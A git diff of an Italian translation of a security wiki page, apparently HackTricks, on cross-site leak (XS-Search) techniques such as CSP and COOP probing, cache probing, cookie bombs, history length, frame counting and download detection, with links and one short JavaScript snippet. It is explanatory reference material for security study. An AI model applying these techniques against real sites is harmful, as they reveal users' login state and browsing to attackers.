 I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.
 
 ### Cache
@@ -520,10 +520,10 @@ Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare
 - **Metodi di Inclusione**: Frame
 - **Differenza Rilevabile**: Intestazione
 - **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
-- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando dettagli sulla politica.
+- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando i dettagli della politica.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
-Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da una CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato.
+Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da un CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato.
 
 ### **CORP**
 
@@ -553,7 +553,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
 - **Riepilogo**: Se l'intestazione Origin è riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già nella cache.
 - **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per cercare di **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato** alcun **errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato** un errore, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
+Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato un errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato un errore**, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
 Nota che se l'origine non è riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo non funzionerà.
 
 ## Tecnica degli Attributi Leggibili
@@ -576,7 +576,7 @@ Inviare una richiesta utilizzando l'API Fetch con `redirect: "manual"` e altri p
 - **Riepilogo:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. In scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
+Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per ostacolare i siti esterni dall'ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. Negli scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
 
 ### Lunghezza Massima URL - Lato Server
 
@@ -586,10 +586,10 @@ Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin
 - **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande da far sì che il server risponda con un errore e venga generato un avviso.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
-Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** sta utilizzando **quelli dati** e **aggiungendo** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**.
+Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** utilizza **quelli dati** e **aggiunge** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**.
 
 Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco **impostando un numero sufficiente di cookie** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi puoi controllare gli errori).\
-Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
+Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo documento: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` o essere nello stesso contesto è solitamente necessario per questo tipo di attacco.
 
@@ -598,16 +598,16 @@ Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione pr
 - **Metodi di Inclusione**: Pop-up
 - **Differenza Rilevabile**: Codice di Stato / Contenuto
 - **Ulteriori informazioni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
-- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da notare una differenza.
+- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da far notare una differenza.
 - **Esempio di Codice**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 
 Secondo la [documentazione di Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la lunghezza massima dell'URL di Chrome è di 2MB.
 
-> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione inter-processo.
+> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione interprocesso.
 
 Pertanto, se la **risposta dell'URL di reindirizzamento è più grande in uno dei casi**, è possibile farlo reindirizzare con un **URL più grande di 2MB** per colpire il **limite di lunghezza**. Quando ciò accade, Chrome mostra una pagina **`about:blank#blocked`**.
 
-La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* raggiunto e la pagina caricata era **`about:blank#blocked`**, l'**origin** della finestra rimane quella del **genitore**, che è un'informazione **accessibile**.
+La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* colpito e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un'informazione **accessibile**.
 
 Tutte le informazioni extra necessarie per raggiungere i **2MB** possono essere aggiunte tramite un **hash** nell'URL iniziale in modo che venga **utilizzato nel reindirizzamento**.
 
@@ -623,7 +623,7 @@ xs-search/url-max-length-client-side.md
 - **Riepilogo:** Utilizza il limite di reindirizzamento del browser per accertare l'occorrenza di reindirizzamenti URL.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene **attivato** un **errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
+Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **20**, un attaccante potrebbe provare a caricare la propria pagina con **19 reindirizzamenti** e infine **inviare la vittima** alla pagina testata. Se viene **attivato un errore**, significa che la pagina stava cercando di **reindirizzare la vittima**.
 
 ### Lunghezza della Storia
 
@@ -633,8 +633,8 @@ Se il **numero massimo** di **reindirizzamenti** da seguire di un browser è **2
 - **Riepilogo:** Il codice JavaScript manipola la cronologia del browser e può essere accessibile tramite la proprietà lunghezza.
 - **Esempio di Codice**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
 
-L'**API della Storia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà lunghezza come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\
+L'**API della Cronologia** consente al codice JavaScript di manipolare la cronologia del browser, che **salva le pagine visitate da un utente**. Un attaccante può utilizzare la proprietà lunghezza come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.\
-**Controllando `history.length`**, facendo navigare un utente a una pagina, **cambiandola** **di nuovo** alla stessa origine e **controllando** il nuovo valore di **`history.length`**.
+**Controllando `history.length`**, facendo navigare un utente a una pagina, **cambiandola** **di nuovo** allo stesso origine e **controllando** il nuovo valore di **`history.length`**.
 
 ### Lunghezza della Storia con lo stesso URL
 
@@ -661,59 +661,59 @@ win = window.open("https://example.com/?a=b")
 await new Promise((r) => setTimeout(r, 2000))
 console.log(await debug(win, "https://example.com/?a=b"))
 ```
-### Frame Counting
+### Conteggio dei Frame
 
-- **Inclusion Methods**: Frames, Pop-ups
+- **Metodi di Inclusione**: Frames, Pop-up
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
-- **Summary:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
+- **Riepilogo:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
-- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
+- **Esempio di Codice**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
 
 Contare il **numero di frame in un web** aperto tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\
 Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **modello** che potrebbe rivelare informazioni.
 
-Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **frame counting** perché un `embed` è utilizzato internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
+Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **conteggio dei frame** perché un `embed` è utilizzato internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
 
-### HTMLElements
+### Elementi HTML
 
-- **Inclusion Methods**: HTML Elements
+- **Metodi di Inclusione**: Elementi HTML
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
-- **Summary:** Leggi il valore trapelato per distinguere tra 2 possibili stati
+- **Riepilogo:** Leggi il valore trapelato per distinguere tra 2 possibili stati
-- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
 
 La perdita di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando file multimediali dinamici vengono generati in base alle informazioni dell'utente, o quando vengono aggiunti filigrane, alterando la dimensione del media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.
 
-### Information Exposed by HTML Elements
+### Informazioni Esposte dagli Elementi HTML
 
 - **HTMLMediaElement**: Questo elemento rivela la `duration` e i tempi `buffered` del media, che possono essere accessibili tramite la sua API. [Leggi di più su HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
 - **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Leggi di più su HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Leggi di più su getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
 - **HTMLImageElement**: Questo elemento rivela l'`height` e la `width` di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0, e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricare correttamente l'immagine. [Leggi di più su HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
-### CSS Property
+### Proprietà CSS
 
-- **Inclusion Methods**: HTML Elements
+- **Metodi di Inclusione**: Elementi HTML
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
-- **Summary:** Identifica le variazioni nello stile del sito web che si correlano con lo stato o il status dell'utente.
+- **Riepilogo:** Identificare variazioni nello stile del sito web che si correlano con lo stato o la condizione dell'utente.
-- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
+- **Esempio di Codice**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
 
 Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento link HTML**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
-Come tecnica di leak, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
+Come tecnica di fuga, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
 
-### CSS History
+### Storia CSS
 
-- **Inclusion Methods**: HTML Elements
+- **Metodi di Inclusione**: Elementi HTML
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
-- **Summary:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
+- **Riepilogo:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
-- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
+- **Esempio di Codice**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
 
 > [!NOTE]
 > Secondo [**questo**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), questo non funziona in Chrome headless.
 
-Il selettore CSS `:visited` è utilizzato per stilizzare gli URL in modo diverso se sono stati precedentemente visitati dall'utente. In passato, il metodo `getComputedStyle()` poteva essere impiegato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire che questo metodo riveli lo stato di un link. Queste misure includono il ritorno sempre dello stile calcolato come se il link fosse stato visitato e la restrizione degli stili che possono essere applicati con il selettore `:visited`.
+Il selettore CSS `:visited` è utilizzato per stilizzare gli URL in modo diverso se sono stati precedentemente visitati dall'utente. In passato, il metodo `getComputedStyle()` poteva essere impiegato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire a questo metodo di rivelare lo stato di un link. Queste misure includono il ritorno sempre dello stile calcolato come se il link fosse stato visitato e la restrizione degli stili che possono essere applicati con il selettore `:visited`.
 
 Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link in modo indiretto. Una tecnica implica ingannare l'utente per interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà `mix-blend-mode`. Questa proprietà consente la fusione di elementi con il loro sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.
 
@@ -725,23 +725,23 @@ Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di d
 - `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
 - `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
-### ContentDocument X-Frame Leak
+### ContenutoDocument X-Frame Leak
 
-- **Inclusion Methods**: Frames
+- **Metodi di Inclusione**: Frames
-- **Detectable Difference**: Intestazioni
+- **Differenza Rilevabile**: Intestazioni
-- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
+- **Ulteriori informazioni**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
-- **Summary:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
+- **Riepilogo:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
-- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
+- **Esempio di Codice**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
 In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
 
-### Download Detection
+### Rilevamento Download
 
-- **Inclusion Methods**: Frames, Pop-ups
+- **Metodi di Inclusione**: Frames, Pop-up
-- **Detectable Difference**: Intestazioni
+- **Differenza Rilevabile**: Intestazioni
-- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
-- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
+- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
 
 L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
 
@@ -750,23 +750,23 @@ L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attac
 - Monitorando i cambiamenti nell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che un download è stato avviato.
 2. **Navigazione al Download con Iframe**:
 - Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, non causa un evento di navigazione.
-- Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile controllare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
+- Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
 3. **Navigazione al Download senza Iframe**:
 - Simile alla tecnica dell'iframe, questo metodo implica l'uso di `window.open` anziché un iframe.
 - Monitorare gli eventi di navigazione nella finestra appena aperta può rivelare se un download di file è stato attivato (nessuna navigazione) o se il contenuto è visualizzato inline (si verifica la navigazione).
 
 In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
 
-### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
+### Bypass della Cache HTTP Partizionata <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
 
-- **Inclusion Methods**: Pop-ups
+- **Metodi di Inclusione**: Pop-up
-- **Detectable Difference**: Timing
+- **Differenza Rilevabile**: Tempistiche
-- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
-- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
+- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **cache partitioning**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata direttamente **richiesta tramite navigazione di livello superiore**. Questo perché la chiave di caching è composta da _eTLD+1_ di livello superiore e _eTLD+1_ di frame.
@@ -774,41 +774,41 @@ Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora
 Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
